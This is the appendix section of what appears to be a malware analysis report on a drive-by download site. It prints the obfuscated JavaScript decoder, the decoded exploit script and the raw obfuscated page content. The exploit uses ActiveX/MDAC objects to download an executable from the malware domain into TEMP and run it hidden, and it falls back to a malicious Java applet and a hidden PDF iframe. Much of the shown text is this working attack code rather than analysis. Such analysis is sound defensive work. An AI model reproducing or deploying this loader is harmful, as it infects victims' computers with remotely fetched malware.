Tools Used:

- QualysGuard Malware Scanner
- wget (wgetasie is just a bash alias to have wget send an IE user-agent and connect through an external proxy not associated with our lab)
- Firefox (with Firebug, QuickProxy, WebDeveloper Toolbar)
- Scite
- Paros
- Python
- js/rhino
- Binary Diffing Starter (eEye Digital Security)
- IDA Pro
- PeiD
- VMWare Server
- Wireshark
- Fake DNS (http://code.activestate.com/recipes/491264/)
- Fake HTTP (quick python hack using BaseHTTPRequestHandler)
- ProcMon + ProcessExplorer (SysInternals Suite)
- InstallWatchPro
- Pandora & Coffee (what... you can stare at code for hours on end without either?)

Appendix 1: Decoding Routine

Decoding routine from nevpizdy-nenyznie50domain.in, formatted for readability

```
<script>
function zacabab (abeicd)
{
    var terry = abeicd.split(':');
    var merry = 'zxc';
    return terry[2];
};
</script>
<script>
var FhcL0z0 = new String("");
FhcL0z0 = document.getElementById("khBsFxi").innerHTML;
g6VZ13w8 = document.lastModified;
k0miOe5c = zacabab(g6VZ13w8);
FhcL0z0 =  FhcL0z0.replace(/[^0-9]/g,';');

function aXzLA9jbkkRMIW ( OzNL6t,em7lqjVq )
{
    var AYMQGuD7 = new String();
    var bsL1aXtpUc = new String();
    var mXhEn59Xi = OzNL6t.split(';');
    for(euWM8 = 0;euWM8 < mXhEn59Xi.length-1;euWM8++)
    {
        AYMQGuD7 = String['f#ro!mC#ha@r^C&ode'.replace(/@|&|#|\^|\!|\(|\)/ig, '')](mXhEn59Xi[euWM8] -
em7lqjVq);
        bsL1aXtpUc = bsL1aXtpUc + AYMQGuD7;
    }
    return bsL1aXtpUc;
}

var vnfjqq = Date();
LCEsM = aXzLA9jbkkRMIW(FhcL0z0,k0miOe5c);
var mXhEn59Xi = 'AYMQGuD7';

function krasddk(zxc)
{
    eval(zxc); return;
};

krasddk( LCEsM );

</script>
```

Appendix 2: Decoded Exploit Script

```
//Contents of LCEsM after decoding in debugger


function Complete()
{
    setTimeout('location.href = \"about:blank\"', 10000);
}

function Go(a)
{
    var s = CreateO(a, 'WScript.Shell');
    var o = CreateO(a, 'ADODB.Stream');
    var e = s.Environment('Process');
    var urltofile = 'http://nevpizdy-nenyznie50domain.in/feedback.php?page=1';
    var filename = 'hgivV.exe';
    var xhr = null;
    var bin = e.Item('TEMP') + '\\' + filename;
    try {
        xhr = new XMLHttpRequest();
    }
    catch (e)
    {
        try {
            xhr = new ActiveXObject('Microsoft.XMLHTTP');
        }
       catch (e) {
            xhr = new ActiveXObject('MSXML2.ServerXMLHTTP');
        }
    }
    if (!xhr) {
        return (0);
    }
    xhr.open('GET', urltofile, false);
    xhr.send(null);
    var filecontent = xhr.responseBody;
    o.Type = 1;
    o.Mode = 3;
    o.Open();
    o.Write(filecontent);
    o.SaveToFile(bin, 2);
    s.Run(bin, 0);
    return 1;
}

function CreateO(o, n)
{
    var r = null;
    try {
        r = o.CreateObject(n);
    }
    catch (e) {}
    if (!r) {
        try {
            r = o.CreateObject(n, '');
        }
        catch (e) {}
    }
    if (!r) {
        try {
            r = o.CreateObject(n, '', '');
        }
        catch (e) {}
    }
    if (!r) {
        try {
            r = o.GetObject('', n);
        }
        catch (e) {}
    }
    if (!r) {
        try {
            r = o.GetObject(n, '');
        }
        catch (e) {}
    }
    if (!r) {
        try {
            r = o.GetObject(n);
        }
        catch (e) {}
    }
    return r;
}
function mudac()
{
    var mdacok = 0;
```

```
    var i = 0;
    var objects = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-
00C04FC29E36}',
    '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-
0000-0000-C000-000000000046}',
    '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{7F5B7F63-
F06F-4331-8A26-339E03C0AE3D}',
    '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-
1DB3-44f9-83B4-461454C84BF8}',
    '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', null);
    while (objects[i])
    {
        var a = null;
        if (objects[i].substring(0, 1) == '{')
        {
            a = document.createElement('object');
            a.setAttribute('classid', 'clsid:' + objects[i].substring(1, objects[i].length - 1));
        }
        else {
            try {
                a = new ActiveXObject(objects[i]);
            }
            catch (e) {}
        }
        if (a) {
            try {
                var b = CreateO(a, 'WScript.Shell');
                if (b) {
                    if (Go(a)) {
                        mdacok = 1;
                        break;
                    }
                }
            }
            catch (e) {}
        }
        i++;
    }
    if (mdacok == 1) {
        Complete();
    }
    else {
        FuncKJ();
    }
}

function Func4() {
    return;
}

function FuncPD() {
  var gnsx=false;
  if(navigator.plugins&&navigator.plugins.length) {
    for(var cnowx=0;cnowx<navigator.plugins.length;cnowx++) {
      if(navigator.plugins[cnowx].description.indexOf('Adobe Acrobat')!=-1) {
        gnsx=true;
        break;
      }
      if(navigator.plugins[cnowx].description.indexOf('Adobe PDF')!=-1) {
        gnsx=true;
        break;
      }
    }
  } else if(window.ActiveXObject) {
    var ijnp=null;
    try {
      ijnp=new ActiveXObject('AcroPDF.PDF');
    } catch(e){}
    if(!ijnp) {
      try {
        ijnp=new ActiveXObject('PDF.PdfCtrl');
      }catch(e){}
    }
    if(ijnp) {
      gnsx=true;
    }
  }
  if(gnsx) {
    var ua=navigator.userAgent.toLowerCase();
    if(ua.indexOf(\"firefox\")!=-1) {
      var cghnou=document.createElement('embed');
      cghnou.setAttribute('src','./pdf.php');
      cghnou.setAttribute('href','./pdf.php');
      cghnou.setAttribute('type','application/pdf');
      cghnou.setAttribute('width',18);
      cghnou.setAttribute('height',7);
      cghnou.setAttribute('style','display:none;');
      document.body.appendChild(cghnou);
    } else {
      var cghnou=document.createElement('iframe');
      cghnou.setAttribute('src','./pdf.php');
      cghnou.setAttribute('width',19);
      cghnou.setAttribute('height',10);
      cghnou.setAttribute('style','display:none;');
```

```
      document.body.appendChild(cghnou);
    }
    setTimeout(Func4(),497);
  }
 Func4();
}

function FuncKJ() {
  var code='<applet code=\"myf.y.AppletX.class\" archive=\"http://nevpizdy-
nenyznie50domain.in/files/sdfg.jar\" width=\"300\" height=\"300\">'+'<param name=\"data\"
value=\"http://nevpizdy-nenyznie50domain.in/feedback.php?page=1\">'+'<param name=\"cc\"
value=\"1\">'+'</applet>';
  var NMFiuwhje=document.createElement(\"div\");
  NMFiuwhje.innerHTML=code;
  document.body.appendChild(NMFiuwhje);
  FuncPD();
}


mudac();
```

Appendix 3: Original URL Content


```
<html><body><div style="display: none"><ul><li
id="khBsFxi">153nl68Q161h150s167b156H162S161s83v118K162K160c163U159w152a167I152y91t92i61y174b61Q83Z83F83b83V166n152I167D135i156d160r152z162K168k167a91R9OD159T162N150O
148d167q156i162a161R97r155Z165K152Z153X83m112p83w85s148R149S162f168Z167W109O149C159N148O161N158y85p90e95B83I100s99P99m99i99y92M110z61q176l61K61P153J168w161F150G167p15
6X162Y161U83w122u162j91z148I92x61M174G61m83r83I83v83k169Y148h165T83W166u83T112N83gl18d165c152p148a167i152w130P91F148U95k83C9OP138U134C150Y165R156P163e167E97H134n155z1
52r159L159h90L92i11Ob61e83v83H83I83Y169x148j165G83t162y83M112O83j118O165d152D148Q167C152V130g91h148a95n83U90a116e119f130H119q117O97i134U167K165q152c148i160n90M92o110g
61L83B83u83u83P169Y148y165g83a152U83M112H83v166A97c120V161f169I156d165V162W161L160p152g161C167S91O90p131e165D162W150p152E166Q166k90U92p110j61B83P83D83O83X169z148O165z
83U168t165H159x167O162d153J156E159K152L83X112Z83B90C155c167X167s163h109o98c98C161d152M169D163s156Q173R151Q172P96g161P152j161Z172W173h161o156A152q104t99K151C162Q160j14
8E156S161M97b156K161u98P153n152v152s151z149A148l150P158R97B163e155y163R114O163Y148n154w152M112n100n90G110y61p83W83i83t83p169u148V165A83p1531156n1591152d161n148l160P15
2D83D112R83i90B155i154w156a169W137t97m152K171g152t90I110V61P83r83P83F8311691148F165a83W171t155M165A83g112y83P161k168B159h159S110D61P83P83d83m83I169Q148w165o83J149F156
K161Z83x112a83e152j97L124k167K152h160d91W90h135K120U128w131u90W92e83N94a83u90c143D143g90k83U94d83Z153e156j159j152D161g148J160i152P110V61S83Z83C83w83v167j165H172Q83g17
4B61n83K83O83N83E83r83R83183c171l155O165B83P112y83l161T152e170v83B139t128Q127U123T167S167Q163P133C152X164f168i152Z166S167t91o92g110x61f83x83j83H83j176x61J83y83v83u83R
150a148q167T150T155G83n91n152Y92E61C83b83c83h83J174B61A83C83q83h83A83V83e83j83d167N165h172m83M174d61h83e83D83X83x83X83d83k83K83C83p83M83d171R155u165n83T112v83p161J152
c170q83f116H150Z167I156V169H152v139h130k149c157L152n150z167I91L90d128t156V150q165j162i166J162A153d167x97T139Y128n127d123B135d135I131I90D92Q110d61K83L83L83u83o83W83i83
o83f176u61R83Y83P83x83H83y83H83I150b148F167c150z155s83F91B152V92O83J174Z61e83n83j83q83e83e83V83N83S83A83H83k171Z155X165i83g112V83q161p152w170v83R116w150n167X156y16
9J152l139I130i149Q157v152S150H167u91w90m128P134K139E128P127R10l9p7ol34p152X165V169K152N165L139H128J127c123E135w135A131C90G92m110K61o83C83G83H83J83B83E83v83Q176O61A83g
83g83q83V176V61N83q83g83b83B156o153183e91s84h171f155v165o92R83G174d61U83M83k83e83N83o83a83e83C165a152K167j168R165g161F83e91W99192G110Y61a83r83D83S83Z176i61O83O83A83U8
3r171U155h165b97y162v163P152Y161Z91S90z122k120B135Q90R95G83v168o165s159C167M162S153u156Q1591152T95z83A153h148z159U166Y152T92C110A83S61x83P83q83X83i171p155I165j97G166Z
152q161B151N91j161D168a159C159x92q110n61R83p83n83z83p169I148Y165I83K153Y156a159I152o150R162f161W167H152o161G167N83N112w83O171b155f165S97B165h152P166s163V162g161i166J1
52g117X162R151E172g110c61c83H83k83R83Y162Q97n135q172E163t152t83S112q83H100t110W61Z83u83E83p83n162Z97W128V162i151C152t83A112G83Z102c110j61h83N83A83F83d162o97l130i163h1
52f161A91Y92n110t61u83M83o83y83C162b97Y138Y165x156G167b152q91H153i156Q159k152R150x162x161S167D152b161H167p92J110p61U83J83N83H83D162H97U134r148G169W152T135e162v121R156
1159W152I91s149E156Y161c95W83W101a92p110Z61C83w83P83L831166k97V133z168r161Y91H149M156Q161N95j83k99r92f110B61c83B83J83U83G165i152x167d168E165Y161S83e100a110P61u176m61B
61e153H168A161W150g167H156i162w161V83S118g165M152x148i167o152z130s91J162F95b83H161i92f61g174B61K83H83R83E83t169S148i165B83T165E83h112b83n161e168w159F159L110I61C83t83x
83B83m167H165H172N83P174q61t83v83r83D83C83I83I83v83bl65q83w112u83v162e97V118i165T152S148o167T152b130q149N157Y152s150z167g91z161M92v110p61F83q83g83J83t176p61R83p83Q83I
83l150L148D167Q150h155m83Y91z152a92r83a174R176E61z83J83E83g831156Q153b83x91W84S165e92f83L174U61w83A83183E83m83w83I83D83d167v165b172d83W174T61D83n83Y83D83x83c83j83F83t
83L83D83P83d165i83u112p83C162r97q118n165w152d148j167F152g130N149A157I152q150W167b91u161K95A83x90H90c92h110N61W83s83Q83183V83y83g83L83A176Y61B83o83V83f83Y83a83L83183a1
50T148c167x150v155W83I91v152T92Q83Y174A176d61u83t83t83g83P176s61N83a83t83183c156h153G83H91G84h165T92r83I174m61T83F83i83p83O83d83J83e83B167K165H172v83D174B61c83T83u83p
83t83n83a83W83V83h83e83b83O165x83T112W83k162n97c118S165d152q148v167m152V130x149x157c152t150B167e91V161U95Y83K90O90M95l83l39i90S92P110K61h83M83d83E83x83Q83g83Q83t176X6
1L83g83t83J83e83W83C83f83A150X148A167Z150h155P83191T152A92U83ml74P176e61T83c83I83Y83a176Z61E83q83T83c83B156A153W83L91e84s165N92K83s174k61K83S83S83a83E83m83a83Y83Y167q
165C172s83S174L61Q83s83k83V83i83D83y83k83D83U83v83i83M165J83s112F83u162D97X122N152d167b130z149E157A152X150u167D91Q90M90O95g83F161y92B110o61C83A83Y83G83U83o83h83d17
6g61m83X83j83K83k83N83m83k83R150m148H167L150p155Y83Y91D152E92d83C174G176R61F83G83q83L83bl76L61z83I83o83f83v156M153P83F91x84c165r92h83t174e61p83F83T83N83d83X83S83G83a1
67Z165Y172f83g174P61q83H83a83q83Q83P83V83L83b83183R83Z83N165J83G112H83n162w97M122H152J167q130f149c157x152G150B167V91116lh95183c90p90L92T110F61a83o83Q83C83Z83i83b83n83
r176h61u83e83e83H83m83n83x83R83Q150u148X167R150Q155J83z91B152m92o83N174F176t61n83u83K83p83U176s61Q83H83k83y83C156O153c83K91B84Q165H92S83g174C61q83y83T83A83x83U83n83m8
3h167s165g172V83n174q61L83H83j83c83O83T83b83R83i83D83b83j83U165j83C112B831162t97A122E152t167y130Z149g157kl52H150Z167Q91dl61M92H110o61T83r83Q83i83L83r83z83u83v176a61d8
3Q83J83g83R83v83Z83S83A150T148Q167a150A155B83b91Z152R92L831174Z176z61F83Q83P83n83c176H61m83W83C83N83A165T152X167g168k165S161G83D165S110a61T176t61a153U168a161z150m1671
1561162L161183q160c168B151d148E150I91Q92a61L174d61a83e83B83H83P169T148O165S83m160o151m148f150O162G158G83O112s83s99z110E61d83p83h83f83S169l148n165j83M156z83N112n83e99O
110v61u83h83J83M83U169y148z165A83M162F149G157b152y150z167a166D83c112P83k161H152i170W83v116R165i165v148f172W91Z90t174R117T119a108b105g118v104Z104f105v96m1051104B116N10
2k96B100n100n119d99D96Y1O81107m102u116h96E99d99d118j99z103C121c118R101W108D120s102D105y176R90j95u83E90U174v117R119F108w105F118s104a104J105Q96M105v104L116u102A96o100X1
00j119o99a96L108F107x102O116x96A99N99P118k99H103U121F118D101m108K120A102r105D176b90B95T83o61x83f83i83x83T90G174g116H117h108s117N118e120H119K119f96U120a118P106c120u96U
103g106q120eO0g96Y108h102I101Z101B96w119X103h116f101U100A99m105B100I106T100t100V105x176A90q95c83V90G174s99x99A99M105d121h99r102K102F96Z99S99f99a99P96C99H99v99X99I96h
118Y99R99A99R96m99y99R99S99b99m99Z99T99k99a99f103O105H176W90Y95N83w90r174s99W99H99v105e121C99S102n116k96q99E99199H99r96k99Z99K99L99M96j118e99w99J99K96K99R99h99j99e99d
99b99X99A99i99T103e1051176190S95W83c61W83H83k83N83s90J174X105D152W102H101i99T106R99s148e96i106Z105N105N151D96p1031152D152X105E96i107J106q108A150q96S151W150n100C153k14
8g108M100I151j101i153P150R102B176g90K95f83P90j174t105d103m100i103O104q100G101T117Y96Q117YJ108Y106w107b96v103k104d100g119Q96q116o99z119Y107E96R121a118k121b119G121A102L1
02z120d107y102i102s118o176p90L95N83G90U1741106C121v104h117m106Z121N105D102P96C121D99o105G121U96O103r102w102V100r96H107V116U101G105D96N102u102t108Y120H99z102s118t99B11
6o120b102o119O176o90s95e83q61v83T83x83Q83h90o174M99C105g106U101X102B120a99b108O96V121V103m118d101U96f103X102W150U107y96L107i102n104D107N96e99y108g121b118O119O100Q119b
117R99w106v105p105x176W90R95L83r90m174x105V102H108d121s106d101x104r121p96g100e117s101t119I96r103a107j102F100p96z116g108G121w119c96w107t106y103N107E103q106A105C107L101
H99f100E991176c90v95a83I90Z174T117C116i99K100d107S104Q108S108S96w100Y119O117Y102V96H103X103i153M108N96j107O102Y117q103t96c103c105W100Y103D104e103y118W107h103h117g121K
107z176w90d95R83t61C83g83S83X83o90p174G119A99C118p99O106b119g104I105E96I106e118c105L108I96b103i102q121I100P96B117I103L116e99a96F101g104G121X104D116u100N100J121u116Q11
7z100J108r176f90R95v83o90v174Y120oz107E118A118i118u119I119x121w96Q118J116a101q107O96G103x108m105K149r96z117V99m104P99T96v105H118z99M106C118n108I105b101n103M106b105V117
H176k90S95D83B161b168e159s159q92l110p61c83v83h83c83Q170T155s156k159P152z83j91c162C149X157k152d150K167x166F142g156E144p92z61I83q83b83m83i174R61Y83Y83t83U83F83W83k83Z83
O169V148o165N83E148R83Q112c83C161t168n159z159z110T61E83o83T83N83f83u83A83O83L156Y153m83F91s162r149b157c152Q150q167x166F142E156C144W97U166f168Y149O166S167Y165N156m161d
154C91F99q95h83z100q92v83L112P112h83R90H174Y90s92k61p83j83i83u83n83183R83H83Q174p61V83i83O83j83V83r83183a83i83S83a83Y83O148m83n112v83D151v162U150w168g160K152f161O167E
97T150z165V152a148Q167L152w120z159Z152g160U152R161R167v91z90k162W149Y157y152I150M167u90M92H110P61I83n83Z83o83C83e83H83C83A83Y83b83U83x83j83I83S83M87f148R97l166L152m167D116d167i167C1
65N156E149a168M167N152n91H90Z150u159W148i166i166w156W151190b95e83n90b150N159F166n156t151X109Z90F83K94c83i162s149f157w152w150G167I166K142t156P144j97o166m168S149X166i16
7p165I156J161T154w911100h95B83Z162a149Z157y152f150j167b166O142c156H144K97Z159N152T161j154H167j155S83w96V831100T92E92a110c61O83t83Y83A83a83z83B83A176X61h83j83z83v83
L83G83F83k83U152Z159U166c152I83n174Y61e83Y83s83i83y83U83x83r83t83x83S83U83W167U165U172u83B174D61t83w83P83A83C83A83V83b83U83x83j83I83V83N83g83O83w148e83j112t83W161c152
r170o83w116N150J167Q156I169K152U139C130H149k157C152J150l167Y911162G149V157V152O150r167j166u142F156f144Y92o110Z61u83Q83Q83j83N83e83s83e83n83D83y83p83L176j61s83U83Q8
3G83a83m83b83o83d83K83j83i150q148H167W150Q155C83n91g152m92A83L174d61E69y83j83d83o83u83M83g83O83h176x61V83I83j83w83w83M83H83g83u156x153o83R91N148r92E83u174d61E83G83I8
3j83F83s83N83u83m83Z83b83B83H167Y165W172P83I174T61M83U83a83s83P83Y83g83h83m83X83183g83B83q83n83K83Z169tl48C165m83n149o83M112O83p118U165m152L148j167u152el30v91F148F95o
83f90d138U134M150P165s156y163w167u97o134j155E152N159d159G90A92Q110v61N83e83k83h83R83w83R83M83b83M83bg83B83H83J83W83U156Z153O83S91V149J92G83F174N61U83i83U83V83y83P83
j83d83z83R83u83w83i83G83X83v83i83D83w83q83N156S153K83n91h122d162I91q148j92O92E83E174x61Y83Z83w83n83J83Z83n83a83U83j83I83a83G83D83J83K83A83z83Y83S83J83L83A83m83U160q15
1Wl48j150v162b158g83T112B83c100H110K61C83u83k83W83e83s83x83183w83G83v83w83F83U83P83f83P83C83A83G83Z83j83B83A149P165V152B148s158c110L61u83X83v83R83B83o83O83m83k83V8
3i83h83b83D83w83q83i83L83t83i83S176S61R83T83T83h83p83U83Z83R83g83U83o83b83m83q83Q83B83dl76A61W83L83h83x83O83e83o83x83p83h83g83I83A176y61b83T83g83R83o83G83i83U83b83X83
w83N83O150M148P167r150N155m83D9lv152k92S83Z174Y176P61O83G83w83W83H83v83y83b83b176P61P83h83y83k83I83W83h83W83k156t94194bl10H61Y83e83C83I83w176b61h83M83q83o83J156N153w8
3E91M160X151f148c150n162N158a83X112W112x83F100s92h83y174e61J83F83C83n83I83L83k83j83s118x162a160h163G159n152d167L152A91B92r110c61o83E83D83M83a176A61R83T83i83Q83y152r15
9W166A152f83e174M61Q83N83F83N83o83m83U83b83P121f168b161R150X126E125F91b92H110S61C83H83j83W83q176z61U176h61V61V153M168A161h150c167N156m162q161B83Z121L168d161p150r103F9
1G92O83J174L61q83Q83d83s83Y165N152P167O168M165j161w110i61E176I61i61m153l168w161Y150c167y156x162n161c83m121e168h161t150s131r119E91j92H83i174b61g83v83q169v148I165a83r15
4r161e166A171Z112Q1531148W159p166O152V110n61B83x83a156f153f91T161Y148W169Y156H154e148G167j162K165C97a163G159K168A154x156B161f166x89b89w161j148y169m156x154T148Z167y162
Q165A97e163v159T168D154R156r161L166v97y159v152G161A154W167M155L92X83K174N61C83H83p83z83r153n162l165o9lG169L148n165W83L150S161S162e170W171k112W99i110f150V161d162m170V1
71A111z161h148X169J156u154a148R167j162Z165I97X163L159x168d154W1561161A166h97E159S152M161b154C167i155J110i150D161n165W83VI62V170Z171n94U94H92K83e174C61183v83183K83E83I83W156C
153m91s161o148m169a156t154F148m167U162I165V97d163r159Z168R154M156z161E166h142G150P161L162I170A171H144u97L151M152D166h150O165p156a163D167c156A162w161i97m156Q161q151I15
2u171i13Oh153M91u90h116Q151c162n149g152n83w116h150v165q162s149H148u167a90W92j84A112Z96M100A92W83v174n61n83183w83h83U83e83t83O83L154K161r166y171rl12e167u165Y168a152l11
OR6lh83f83r83E83P83s83e83b83t149A165W152h148n158I110d61V83c83H83P83r83S83Z176i61R83R83N83M83q83o83x156H153W91c161z148a169s156r154E148U167k162E165r97S163s159A168v154N1
56c161D166c142U150V161C162D170n171T144R97z151K152F166w150R165b156Z163R167B156S162I161G97m156t161L151d152M171D130d153H91Q90G116L151t162b149h152v83e131U119P121v90T92Z84
B112Q96r100c92q83I174e61I83R83k83v83L83v83Y83Xl54C161f166P171I112q167I165j168K152D110O61r83T83K83L83s83L83c83j83n149S165s152S148b158J110C61X83V83x83v83s83w83x176X6
1M83G83O83U83q176161Y83F83d176r83P152p159k166b152R83U156P153k91N170h156M161W151j162j170s97h116e150k167e156c169I152q139j130W149L157a152I150j167f92m83b174v61b83M83W83s8
3g1691148c165t83S156p157Q161C163Y112I161j168D159t159N110g61C83E83P83Z83P167p165h172y83V174T61a83Q83v83m83m83n83T156Y157Q161N163r112F161e152t170d83n116d150g167g156r169
M152i139v130c149H157K152S150p167J91n90J116k150E165E162X131r119s121q97P131I119E121G90O92j110A61r83W83d83Y83D176U83l150m148P167O150u155a91g152k92k174U176t61U83Y83y83r83
P156q153i91f84y156m157m161N163W92m83E174s61Q83d83w83k83P83i83A167dl65c172b83J174M61L83d83G83f83C83E83X83S83u156F157x161t163s112j161G152O170W83L116H150m167p156D169X152
E139m130X149i157O152y150r167b91K90V131ii19q121Y97m131N151q153h118T167n165b159M90X92h110b61t83t83j83g83j83m83D176n150Y148b167V150n155a91N152P92k174j176x61a83H83k83o83x
176R61I83183s83U83J156a153w91D156U157f161j163D92S83m174r61q83N83M83e83o83a83u154Y161K166s171z112R167c165n168P152u110w61B83n83Q83K83N176N61N83i83s176x61183K83j156c153B
91x154p161g1661171P92a83K174Z61S83J83r83v83x169H148p165u83I168c148L112S161q148Y169g156Y154Q148d167K162b165N97m168c166L152c165I116x154r152j161H167R97C167R162J127x162P1
70Q152n165J118Y148Q166U152r91G92s110Y61f83I83B83p83j156O153c91M168Z148E97V156W161w151E152e171O130G153v91X85E153K156o165r152T153N162H171n85E92O84g112c96t100p92e83j174Y
61t83L83183S83P83G83p169L148K165U83Z150R154P155x161W162a168l112O151u162y150W168i160D152k161O167g97e150D165K152O148c167D152Z120N159W152p160U152M161B167e91g90b152w160w1
49Y152S151X90K92h110R61J83D83A83M83o83O83s150S154S155D161g162v168G97G166I152d167w116c167q167x165H156W149Y168E167T152x91X90q166H165E150I90Q95H90J97d98v163X151W153O97q1
63Z155v163l90g92C110u61J83y83X83z83w83f83W150U154y155q161S162G168h97a166L152q167q116S167z167U165O156X149q168d167N152P91Z90z155v165b152t153F90Z95R90F97V98w163c151q153f
97T163I155m163A90j92x110q61Z83P83q83u83e83N83k150I154b155z161h162a168v97I166U152B167i116l167G167E165h156j149v168N167C152E91z90C167n172w163t152N90M95j90H148r163w163r15
9z156X150r148g167y156m162p161T98n163X151E153u90c92m110e61X83A83g83b83z83j83P150w154c155c161J162M168j97B166J152b167A116h167S167t165F156F149W168g167t152u91D90n170W156q1
51R167u155q90y95W100q107h921110m61K83N83w83W83x83x83f150Y154y155M161r162f168s97w166C152r167p116x167u167d165U156k149u168O167b152t91k90R155a152W156D1541155k167A90H95h10
6x92n110G61w83A83x83c83t83t83e150k154i155c161f162L168w97Q166G152K167r116z167v167I165a156R149M168L167B152M91T90j166K167G172p159H152H90m95j90A151f156O166k163O159q148Q17
2Z109m161g162g161x152Y110f90s92g110OG61K83s83R83M83F83k83v151Q162r150k168X160y152W161H167y97C149V162j151Q172M97A148q163z163g152W161w151E118C155p156l159I151A91e150a154M
155k161L162H168A92C110s61Y83B83P83f83A176R83B152j159i166N152k83Y174M61Q83v83J83V83x83y83G169G148y165183g150L154V155r161S162W168u112Z151u162v150a168Z160v152s161b167f97
b150o165P152A148B167g152v120K159C152s160I152J161y167H9lu90f156S153P165X148116O1152R90x92g110N61Y83G83J83R83h83o83s150V154E155s161K1621168n97h166n152g167q116x167f167y1
65r156K149Q168H167h152C91t90z166A165a150M90Y95g90W97p98N163L151i153j97P163a155G163B90O92o110p61u83e83m83Z83c83e83k150t154m155S161w162g168R97w166G152e167V116m167A167K1
65A156M149s168k167b152T91r90dl70h156f151S167c155K90F95B100n108j92m110g61V83E83d83C83W83a83I150B154v155v161C162G168v97O166z152f167q116S167X167T165A156C1491168c167M152r
91e90z155a152Q156g154w155U167K90y95r100k99G92s110f61C83u83m83x83I83183d150y154E155A161S162E168D97D166g152Q167u116L167P167V165b156w149S168w167G152Q91n90r166X167f172W15
9Z152a90J95X90i151u156B166h163z159C148z172D109F161D162k161W152y110v90192T110X61i83m83T83p83C83G83g151a162m150D168A160M152M161Y167u97H149Z162c151G172c97b148K163i163e15
```

2v161E151c118r155q156w159O151Y91i150h154N1551161o162t168M92a110w61N83n83J83183h176Q61L83K83W83n831166h152V167Q135c156Z160t152U162P168q167i91o121Z168Q161B150K103F91v92
X95g103s108k106T92B110V61A83R83h176L61o83U121w168W161p150M103z91P92G110T61f176w61B61T153V168S161V150g167X156Q162D161D83J121o168W161K150K126X125c91r92i83R174L61f83n83B
169s148m165Q83y150G162w151u152H112P90P111a148k163w163x159B152z167B83L150o162Y151W152y112w85y160p172e153Q97B172K97E116D163C163r159U152A167x139Q97v150F159f148K166f166Q8
5G83d148S165G150e155d156v169D152z112t85z155y167j167d163O109198o98T161o152q169K163I156q173I151Y172196N161E152w161s172U173D161W156n152K104A99Q151F162D160P148z156C161O97
j156g161d98U153U156w159J152L166H98R166C151P153q154o97c157u1481165V85P83o170s156C151z167s155T112F85w102i99F99z85x83o155g152a156J154B155X167T112M85e102199P99u85b113D90W
94W90o111s1631148d165k148o160d83d161H148i160a152q112o85a151n148d167H148O85n83I1691148G159V168Q152r112185K155S167o167h163p109d98a98b161G152L169P163k156o173X151T172P96N
161H152p161B1721173x161Q156Y152G104B99e151b162S160W148N156c161p97B156K161e98f153k152F152m151v149V148W150k158s97p163z155G163x114p163I148i154n152Y112G100t85a113190V94s9
0H111i163V148w165j148f160a83O161Q148g160A152L112C85X150w150u85M83v169B148K1591168J152s112Y85h100z85S113I90k94n90A111r98V148W163o163F159C152P167T113S90v110U61e83x83s16
9a148s165F83W129u128P121H156D168H170g1551157H152z112t151r162m150u168j160H152R161X167M97T150n165g152m148i167B152Q120g159t152q160Z152y161M167T91N85U151X156V169B85I92d11
0A61C83U83m129x128E121u156P168c170G155j157P152n97V156x161o1611152e165i123b135D128g127n112X150u162I151u152Q110J61D83t83K151G162O150w168E160S152q161T167v97x149D162K1511
172Y97I148Z163J163m152I1611151q118p155Z156O159k151h91I129A128q121M156u168A170T155J157x152X92c110o61r83X83m121u168h161X150S131p119x91c92c110F61N176T61v61m61h160f168T15
1q148g150K91D92b110L61W <script>function zacabab (abeicd) { var terry = abeicd.split(':'); var merry = 'zxc'; return terry[2];};</script>

<script>

 var FhcL0z0 = new String(""); FhcL0z0 = document.getElementById("khBsFxi").innerHTML;

g6VZ13w8 = document.lastModified; k0miOe5c = zacabab(g6VZ13w8); FhcL0z0 = FhcL0z0.replace(/[^0-9]/g,';');

function aXzLA9jbkkRMIW (OzNL6t,em7lqjVq) { var AYMQGuD7 = new String();var bsL1aXtpUc = new String();

 var mXhEn59Xi = OzNL6t.split(';'); for(euWM8 = 0;euWM8 < mXhEn59Xi.length-1;euWM8++)

 { AYMQGuD7 = String['f#ro!mC#ha@r^C&ode'.replace(/@|&|#|\^|\!|\(|\)/ig, '')](mXhEn59Xi[euWM8] - em7lqjVq);

bsL1aXtpUc = bsL1aXtpUc + AYMQGuD7;} return bsL1aXtpUc;}var vnfjqq = Date();LCEsM = aXzLA9jbkkRMIW(FhcL0z0,k0miOe5c);

var mXhEn59Xi = 'AYMQGuD7';function krasddk(zxc) {eval(zxc); return;};krasddk(LCEsM);</script></body></html>

Appendix 4: Internet Infrastructure for SgwAg+Packycfg Malware

Net Address	What:	Country Of Origin:
nevpizdy-nenyznie50domain.in	Malware Host	Russia
in.webstat44.com	PackyCfg Payload Host	?? (De-registered)
91.213.94.131	Fallback PackyCfg Payload Host	Ukraine